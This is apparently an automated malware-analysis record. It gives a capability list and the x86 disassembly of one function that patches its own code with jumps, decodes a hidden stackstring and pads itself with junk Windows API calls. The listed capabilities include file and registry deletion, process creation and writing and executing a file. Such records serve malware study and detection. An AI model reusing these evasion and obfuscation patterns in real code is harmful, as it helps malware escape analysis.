Function at 0xab3000
Capabilities:
Accept command line arguments
Clear file content
Compare security identifiers
Connect pipe
Contain obfuscated stackstrings
Create pipe
Create process on windows
Create thread
Delete file
Delete registry key
Enumerate files on windows
Get common file path
Get file attributes
Get graphical window text
Get keyboard layout
Get memory capacity
Get session user name
Get thread local storage value
Query environment variable
Query or enumerate registry value
Set thread local storage value
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x10], 0xab404a
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab3036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab31aa
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab30b8
call fcn.0048f872
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab307a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab3094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab3094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab304a
mov byte [ebp - 0x64], 5
mov byte [ebp - 0x63], 0x6a
mov byte [ebp - 0x62], 2
mov byte [ebp - 0x61], 0x71
mov byte [ebp - 0x60], 7
mov byte [ebp - 0x5f], 0x66
mov byte [ebp - 0x5e], 0
mov byte [ebp - 0x5d], 0x79
mov byte [ebp - 0x5c], 8
mov byte [ebp - 0x5b], 0x79
mov byte [ebp - 0x5a], 3
mov byte [ebp - 0x59], 0x2b
mov byte [ebp - 0x58], 8
mov byte [ebp - 0x57], 0x28
mov byte [ebp - 0x56], 0x83
mov byte [ebp - 0x55], 0x10
mov byte [ebp - 0x54], 0xbf
mov byte [ebp - 0x53], 0x19
mov byte [ebp - 0x52], 0x85
mov byte [ebp - 0x51], 0xc8
mov byte [ebp - 0x50], 9
mov byte [ebp - 0x4f], 0x76
mov byte [ebp - 0x4e], 6
mov byte [ebp - 0x4d], 0x7d
mov byte [ebp - 0x4c], 1
mov byte [ebp - 0x4b], 0x86
mov byte [ebp - 0x4a], 4
mov byte [ebp - 0x49], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab313a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1c
jae 0xab319f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x64]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab3166
mov dword [ebp - 0x24], 8
mov eax, dword [ebp - 8]
add eax, 6
mov dword [ebp - 8], eax
jmp 0xab3132
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x63]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab318e
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab317b
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x64]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab3132
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa764a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407cf1
mov ecx, eax
call fcn.00402eaf
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402e53
and dword [ebp - 0x1c], 0
jmp 0xab31e2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab31f2
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab31db
push 0
push 0x200a
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
push 0x1139
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0x2153
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0xdd
push 0x2353
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x1026
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0
push 0x100b
push 0x21dc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0xc6e
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0x1d10
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0x12c5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0x1300
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0xdeb
push 0x377
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
push 0
push 0xc17
push 0x9a1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0x1ce2
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x2a8
push 0x15b9
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0xfbe
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x130a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
push 1
push 0x25d0
push 0xee7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0xe17
push 0x15bc
push 0x146d
push 0x1cae
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0xa09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push 0x10a7
push 0x23e4
push 0x9d8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x1548
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 8
call dword [sym.imp.USER32.dll_MessageBeep]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x1a3d
push 0x1fa1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
push 0
push 0
push 0x221
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
push 0xe69
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0x980
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0xb64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0x8ce
push 0x1d49
push 0x20fb
push 0x645
push 0x2391
push 0x449
push 0xa8d
push 0x15a7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0x11f8
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
push 0x1b1d
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
push 0x1b06
push 0x150c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0xbf7
push 0x938
push 0x1a99
push 0x2423
push 0xf9d
push 0x63f
push 0x18b4
push 0xed
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0x12ad
push 0xafd
push 0x86b
push 0x1b38
push 0x14a
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0x1602
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x2542
push 0xd05
push 0x1525
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0x21ab
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
push 0
push 0
push 0x2214
push 0x2389
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
push 0x13b2
push 0x561
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
push 0xdca
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0x1107
call dword [sym.imp.USER32.dll_GetSysColor]
push 0xf26
push 0x1e50
push 0x19cb
push 0x230f
push 0x2665
push 0x934
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0x246d
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0x145b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0xe88
push 1
push 0xa7b
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 0xf5f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0x51e
push 0
push 0x1414
push 0
push 0x251c
push 0x6f1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x90b
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x1b98
push 0x1dd5
push 0x1ed8
push 0
push 0x1796
push 0x22f6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x2373
push 0x24e3
push 0xba2
push 0x1d92
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x45f
push 0
push 0
push 0
push 0x1dc
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0x1580
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xa78
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0x1f5d
push 0x20da
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0xdbf
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0x1130
push 0x1b4b
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
push 0xb79
push 0x144e
push 0x103d
call dword [sym.imp.KERNEL32.dll_RaiseException]